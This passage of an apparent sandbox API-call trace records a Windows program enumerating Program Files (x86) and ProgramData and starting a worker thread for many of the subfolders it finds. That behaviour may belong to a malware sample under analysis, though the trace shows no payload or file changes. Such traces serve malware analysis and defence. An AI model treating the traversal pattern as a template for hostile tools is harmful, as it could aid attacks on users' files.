	[0073.172] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0dc4f7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef4e2594, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef4e2594, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="MOZILL~1")) returned 1
	[0073.172] wcscmp (_String1="Mozilla Maintenance Service", _String2=".") returned 1
	[0073.172] wcscmp (_String1="Mozilla Maintenance Service", _String2="..") returned 1
	[0073.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d543c0
	[0073.172] wcscpy (in: _Dest=0x2d543c0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.172] wcscat (in: _Dest=0x2d543c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.172] wcscat (in: _Dest=0x2d543c0, _Source="Mozilla Maintenance Service" | out: _Dest="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service"
	[0073.172] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d543c0) returned 1
	[0073.172] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3a2c02c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2c02c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0073.172] wcscmp (_String1="MSBuild", _String2=".") returned 1
	[0073.172] wcscmp (_String1="MSBuild", _String2="..") returned 1
	[0073.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d735d0
	[0073.172] wcscpy (in: _Dest=0x2d735d0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.172] wcscat (in: _Dest=0x2d735d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.172] wcscat (in: _Dest=0x2d735d0, _Source="MSBuild" | out: _Dest="C:\\Program Files (x86)\\MSBuild") returned="C:\\Program Files (x86)\\MSBuild"
	[0073.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d735d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0073.173] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1
	[0073.173] wcscmp (_String1="Reference Assemblies", _String2=".") returned 1
	[0073.173] wcscmp (_String1="Reference Assemblies", _String2="..") returned 1
	[0073.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77cc0
	[0073.173] wcscpy (in: _Dest=0x2d77cc0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.173] wcscat (in: _Dest=0x2d77cc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.173] wcscat (in: _Dest=0x2d77cc0, _Source="Reference Assemblies" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies") returned="C:\\Program Files (x86)\\Reference Assemblies"
	[0073.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0073.174] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a2e634d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2e634d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0073.174] wcscmp (_String1="Windows Defender", _String2=".") returned 1
	[0073.174] wcscmp (_String1="Windows Defender", _String2="..") returned 1
	[0073.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d543c0
	[0073.174] wcscpy (in: _Dest=0x2d543c0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.174] wcscat (in: _Dest=0x2d543c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.174] wcscat (in: _Dest=0x2d543c0, _Source="Windows Defender" | out: _Dest="C:\\Program Files (x86)\\Windows Defender") returned="C:\\Program Files (x86)\\Windows Defender"
	[0073.174] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d543c0) returned 1
	[0073.174] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0073.174] wcscmp (_String1="Windows Mail", _String2=".") returned 1
	[0073.174] wcscmp (_String1="Windows Mail", _String2="..") returned 1
	[0073.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730d30
	[0073.174] wcscpy (in: _Dest=0x4730d30, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.174] wcscat (in: _Dest=0x4730d30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.174] wcscat (in: _Dest=0x4730d30, _Source="Windows Mail" | out: _Dest="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail"
	[0073.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0073.175] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0073.175] wcscmp (_String1="Windows Media Player", _String2=".") returned 1
	[0073.175] wcscmp (_String1="Windows Media Player", _String2="..") returned 1
	[0073.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d778a0
	[0073.175] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.175] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.175] wcscat (in: _Dest=0x2d778a0, _Source="Windows Media Player" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player"
	[0073.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0073.175] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b5d2f71, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b5d2f71, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1
	[0073.175] wcscmp (_String1="Windows Multimedia Platform", _String2=".") returned 1
	[0073.175] wcscmp (_String1="Windows Multimedia Platform", _String2="..") returned 1
	[0073.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d543c0
	[0073.175] wcscpy (in: _Dest=0x2d543c0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.175] wcscat (in: _Dest=0x2d543c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.175] wcscat (in: _Dest=0x2d543c0, _Source="Windows Multimedia Platform" | out: _Dest="C:\\Program Files (x86)\\Windows Multimedia Platform") returned="C:\\Program Files (x86)\\Windows Multimedia Platform"
	[0073.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d543c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0073.176] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b75048d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b75048d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1
	[0073.176] wcscmp (_String1="Windows NT", _String2=".") returned 1
	[0073.176] wcscmp (_String1="Windows NT", _String2="..") returned 1
	[0073.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x47311e0
	[0073.176] wcscpy (in: _Dest=0x47311e0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.176] wcscat (in: _Dest=0x47311e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.176] wcscat (in: _Dest=0x47311e0, _Source="Windows NT" | out: _Dest="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT"
	[0073.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47311e0) returned 1
	[0073.176] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0073.176] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1
	[0073.176] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1
	[0073.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2d77960
	[0073.177] wcscpy (in: _Dest=0x2d77960, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.177] wcscat (in: _Dest=0x2d77960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.177] wcscat (in: _Dest=0x2d77960, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer") returned="C:\\Program Files (x86)\\Windows Photo Viewer"
	[0073.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77960) returned 1
	[0073.177] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a24da58, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a24da58, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0073.177] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1
	[0073.177] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1
	[0073.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x2d79e30
	[0073.177] wcscpy (in: _Dest=0x2d79e30, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.177] wcscat (in: _Dest=0x2d79e30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.177] wcscat (in: _Dest=0x2d79e30, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices"
	[0073.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79e30) returned 1
	[0073.177] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0073.177] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1
	[0073.177] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1
	[0073.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d53f40
	[0073.177] wcscpy (in: _Dest=0x2d53f40, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.177] wcscat (in: _Dest=0x2d53f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.177] wcscat (in: _Dest=0x2d53f40, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar"
	[0073.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53f40) returned 1
	[0073.177] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0073.177] wcscmp (_String1="WindowsPowerShell", _String2=".") returned 1
	[0073.177] wcscmp (_String1="WindowsPowerShell", _String2="..") returned 1
	[0073.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2d778a0
	[0073.177] wcscpy (in: _Dest=0x2d778a0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0073.177] wcscat (in: _Dest=0x2d778a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\"
	[0073.177] wcscat (in: _Dest=0x2d778a0, _Source="WindowsPowerShell" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell") returned="C:\\Program Files (x86)\\WindowsPowerShell"
	[0073.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1
	[0073.177] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d830e8 | out: lpFindFileData=0x2d830e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0073.177] FindClose (in: hFindFile=0x2d71080 | out: hFindFile=0x2d71080) returned 1
	[0073.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d830e8) returned 1
	[0073.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71000) returned 1
	[0073.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bea8) returned 1

Thread:
	id = 34
	os_tid = 0x448

	[0073.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x22) returned 0x2d77ea0
	[0073.178] wcscpy (in: _Dest=0x2d77ea0, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.178] wcscat (in: _Dest=0x2d77ea0, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.178] wcscat (in: _Dest=0x2d77ea0, _Source="*" | out: _Dest="C:\\ProgramData\\*") returned="C:\\ProgramData\\*"
	[0073.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d84bf0
	[0073.178] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71000
	[0073.179] wcscmp (_String1=".", _String2=".") returned 0
	[0073.179] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.179] wcscmp (_String1="..", _String2=".") returned 1
	[0073.179] wcscmp (_String1="..", _String2="..") returned 0
	[0073.179] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0073.179] wcscmp (_String1="Adobe", _String2=".") returned 1
	[0073.179] wcscmp (_String1="Adobe", _String2="..") returned 1
	[0073.179] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2a) returned 0x2d7bdc8
	[0073.179] wcscpy (in: _Dest=0x2d7bdc8, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.179] wcscat (in: _Dest=0x2d7bdc8, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.179] wcscat (in: _Dest=0x2d7bdc8, _Source="Adobe" | out: _Dest="C:\\ProgramData\\Adobe") returned="C:\\ProgramData\\Adobe"
	[0073.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bdc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0073.180] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0073.180] wcscmp (_String1="Application Data", _String2=".") returned 1
	[0073.180] wcscmp (_String1="Application Data", _String2="..") returned 1
	[0073.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73150
	[0073.180] wcscpy (in: _Dest=0x2d73150, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.180] wcscat (in: _Dest=0x2d73150, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.180] wcscat (in: _Dest=0x2d73150, _Source="Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data"
	[0073.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d73150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0073.180] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1
	[0073.180] wcscmp (_String1="Comms", _String2=".") returned 1
	[0073.180] wcscmp (_String1="Comms", _String2="..") returned 1
	[0073.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2a) returned 0x2d7be70
	[0073.180] wcscpy (in: _Dest=0x2d7be70, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.181] wcscat (in: _Dest=0x2d7be70, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.181] wcscat (in: _Dest=0x2d7be70, _Source="Comms" | out: _Dest="C:\\ProgramData\\Comms") returned="C:\\ProgramData\\Comms"
	[0073.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7be70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0073.181] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0073.181] wcscmp (_String1="Desktop", _String2=".") returned 1
	[0073.181] wcscmp (_String1="Desktop", _String2="..") returned 1
	[0073.181] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2d7bc40
	[0073.181] wcscpy (in: _Dest=0x2d7bc40, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.181] wcscat (in: _Dest=0x2d7bc40, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.181] wcscat (in: _Dest=0x2d7bc40, _Source="Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop"
	[0073.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0073.182] FindNextFileW (in: hFindFile=0x2d71000, lpFindFileData=0x2d84bf0 | out: lpFindFileData=0x2d84bf0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0073.182] wcscmp (_String1="Documents", _String2=".") returned 1
	[0073.182] wcscmp (_String1="Documents", _String2="..") returned 1
	[0073.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2d71080
	[0073.182] wcscpy (in: _Dest=0x2d71080, _Source="C:\\ProgramData" | out: _Dest="C:\\ProgramData") returned="C:\\ProgramData"
	[0073.182] wcscat (in: _Dest=0x2d71080, _Source="\\" | out: _Dest="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0073.182] wcscat (in: _Dest=0x2d71080, _Source="Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents"
